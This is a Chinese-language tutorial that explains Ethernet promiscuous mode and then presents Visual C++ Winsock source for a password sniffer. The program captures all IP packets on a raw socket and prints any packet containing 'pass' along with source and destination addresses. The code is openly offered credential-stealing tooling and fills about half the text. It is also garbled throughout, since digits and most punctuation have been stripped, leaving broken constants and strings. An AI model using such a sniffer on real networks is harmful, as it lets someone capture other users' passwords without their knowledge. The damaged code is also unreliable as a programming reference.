Sniffer是网络中一种常见的嗅探技术
对于网络管理员而言
他可以利用Sniffer来获取相关的网络流量情况进而发现一些潜在的网络性能或者安全问题
而对于黑客而言
Sniffer则能够帮助他得到一些重要的数据诸如用户名和密码或者其他的商业机密
Sniffer工作在用户看不见也注意不到的网络底层
隐蔽性极强
如被非法利用将会造成极大的危害
而利益受损的用户可能还浑然不觉
为了使读者对Sniffer的原理有一个深入的理解本实例实现一个Sniffer来捕捉用户名和密码如果抓到密码的话就在屏幕上面打印出来同时还输出源计算机和目的计算机的IP地址至于其他的信息我们则进行简单的抛弃而不做任何处理程序编译运行后启动控制台运行snifpassexe文件后使用IE登录使用您的用户名和密码登录会员区时sniffer获取的结果如下图所示
图一sniffer程序界面效果图
一实现方法
在说明Sniffer实现方法之前让我们先来看看以太网的工作方式我们知道以太网是一种基于广播信道的通信网络在这种广播网络中数据的发送是以广播方式来进行的当一台计算机向另外一台计算机发送数据时该数据将同时被发送到局域网中的其他所有计算机的网卡上这样一来每台计算机的网卡都能够收到这个数据帧但在正常情况下网卡只接受两种数据帧
和自己的MAC地址相匹配的数据帧
网络中的广播数据帧
换而言之只要网卡发现自己收到的数据帧和自己的MAC地址并不匹配网卡就简单的将其抛弃不做任何处理所以在正常情况下网络中的通信还是安全的
但是以太网卡还有一种特殊的接收模式混杂模式在混杂模式下面网卡能够接收一切通过它的数据而不管该数据是否是传给它的
好了现在Sniffer的原理已经浮出水面我们来总结一下实现Sniffer的两个条件
我们需要一个共享式以太网环境
我们需要将网卡的接收模式设置为混杂模式
满足这两个条件后我们就可以在网络中不动声色的来嗅探我们想要的数据了下面我们来分析一下一个基本的Sniffer是如何实现的
为了能够在网络上捕捉所有的数据包我们首先需要将网卡设置为混杂模式在Windows环境下面我们要用到一个函数WSAIoctl()在MSDN里我们可以看到该函数的定义如下
int WSAIoctl (
SOCKET s
DWORD dwIoControlCode
LPVOID lpvInBuffer
DWORD cbInBuffer
LPVOID lpvOUTBuffer
DWORD cbOUTBuffer
LPDWORD lpcbBytesReturned
LPWSAOVERLAPPED lpOverlapped
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionROUTINE
);
该函数共有九个参数第一个参数s是套接字描述符第二个参数是I/O控制命令有很多个命令可供选择但在我们的程序中将只使用SIO_RCVALL 命令第三第四个参数是对输入参数进行了描述第五第六个参数用于自调用返回的任何数据第七个参数对应于实际返回的字节数最后两个参数是 lpOverlapped和lpCompletionROUTINE在随重叠I/O调用这个函数时使用在我们的程序中将其设置为NULL
通过这个函数我们可以将网卡设置为混杂模式并允许指定的套接字接收网络上的所有IP数据包解决了网卡混杂模式设置的问题下面我们就可以做一个实际的 Sniffer毕竟只有通过亲自动手写程序你才能够真正理解Sniffer在这个例子中我们将只捕捉用户名和密码如果抓到密码的话就在屏幕上面打印出来同时还输出源计算机和目的计算机的IP地址至于其他的信息我们则进行简单的抛弃而不做任何处理
二编程步骤
启动Visual C++新建项目Snifpass选择控制台模式
使用ClassWizard在项目中插入文件Snifpassc
添加代码编译运行程序
三程序代码
//////////////////////////////////////////////////////////////
#include <stdioh>
#include <stringh>
#include <Winsockh>
#include <mstcpiph>
#include wstcpiph
#define MAX_PACK_LEN //接收的最大IP报文
#define MAX_ADDR_LEN // 点分十进制地址的最大长度
#define MAX_HOSTNAME_LAN //最大主机名长度
typedef struct _iphdr
{
unsigned char h_lenver; //位首部长度+位IP版本号
unsigned char tos; //位服务类型TOS
unsigned short total_len; //位总长度(字节)
unsigned short ident; //位标识
unsigned short frag_and_flags; //位标志位
unsigned char ttl; //位生存时间 TTL
unsigned char proto; //位协议 (TCP UDP 或其他)
unsigned short checksum; //位IP首部校验和
unsigned int sourceIP; //位源IP地址
unsigned int destIP; //位目的IP地址
}IP_HEADER;
SOCKET SockRaw; int DecodeIpPack(char *int); //IP解包函数
void CheckSockError(intchar*);//SOCK错误处理函数
void main(int argc char ** argv)
{
int iErrorCode;
char RecvBuf[MAX_PACK_LEN] = {};
WSADATA wsaData;
char name[MAX_HOSTNAME_LAN];
struct hostent * pHostent;
SOCKADDR_IN sa;
DWORD dwBufferLen [];
DWORD dwBufferInLen = ;
DWORD dwBytesReturned = ;
if(argc!=)
{
printf(Password sniffer written by Wu\n\n);
printf(Usage:);
printf(\tsnifferexe \n);
exit();
}
printf(Its now sniffingCTRL+C to exit\n\n);
//初始化SOCKET建立一个原始套接字
iErrorCode = WSAStartup(x&wsaData);
CheckSockError(iErrorCode WSAStartup);
SockRaw = socket(AF_INET SOCK_RAW IPPROTO_IP);
CheckSockError(SockRaw socket);
//获取本机IP地址
iErrorCode = gethostname(name MAX_HOSTNAME_LAN);
CheckSockError(iErrorCode gethostname);
pHostent = (struct hostent * )malloc(sizeof(struct hostent));
pHostent = gethostbyname(name);
sasin_family = AF_INET;
sasin_port = htons();
memcpy(&sasin_addrS_unS_addr pHostent>h_addr_list[] pHostent>h_length);
//绑定套接字
iErrorCode = bind(SockRaw (PSOCKADDR)&sa sizeof(sa));
CheckSockError(iErrorCode bind);
//设置SOCK_RAW为SIO_RCVALL以便接收所有的IP包
iErrorCode=WSAIoctl(SockRaw SIO_RCVALL&dwBufferInLen sizeof(dwBufferInLen)
&dwBufferLen sizeof(dwBufferLen)&dwBytesReturned NULL NULL );
CheckSockError(iErrorCode Ioctl);
//侦听IP报文
while()
{
memset(RecvBuf sizeof(RecvBuf));
iErrorCode = recv(SockRaw RecvBuf sizeof(RecvBuf) );
CheckSockError(iErrorCode recv);
iErrorCode = DecodeIpPack(RecvBuf iErrorCode);//对收到的IP包进行解包
CheckSockError(iErrorCode Decode);
}
}
//IP解包程序
int DecodeIpPack(char *buf int iBufSize)
{
IP_HEADER *pIpheader;
char *SearchPass;
int iIphLen iTTL;
char szSourceIP[MAX_ADDR_LEN] szDestIP[MAX_ADDR_LEN];
SOCKADDR_IN saSource saDest;
pIpheader = (IP_HEADER *)buf;
//获取源IP地址
saSourcesin_addrs_addr = pIpheader>sourceIP;
strncpy(szSourceIP inet_ntoa(saSourcesin_addr) MAX_ADDR_LEN);
//获取目标IP地址
saDestsin_addrs_addr = pIpheader>destIP;
strncpy(szDestIP inet_ntoa(saDestsin_addr) MAX_ADDR_LEN);
iTTL = pIpheader>ttl;
//计算IP包头长度
iIphLen = sizeof(unsigned long) * (pIpheader>h_lenver & xf);
SearchPass = buf + iIphLen + ;
//如果抓到密码就输出
if(strstr(SearchPasspass)||strstr(SearchPassPass)||strstr(SearchPassPASS))
{
printf(\n\n%s>%s szSourceIP szDestIP); //输出源计算机和目的计算机的IP地址
printf(bytes=%d TTL=%d \niBufSizeiTTL);
printf(%sSearchPass);
}
return ;
}
//SOCK错误处理程序
void CheckSockError(int iErrorCode char *pErrorMsg)
{
if(iErrorCode==SOCKET_ERROR)
{
printf(%s Error:%d\n pErrorMsg GetLastError());
closesocket(SockRaw);
exit();
}
}
四小结
本实例首先介绍了以太网的工作方式然后在此基础上实现网络嗅探程序希望它对于那些对网络技术黑客技术的读者朋友所有帮助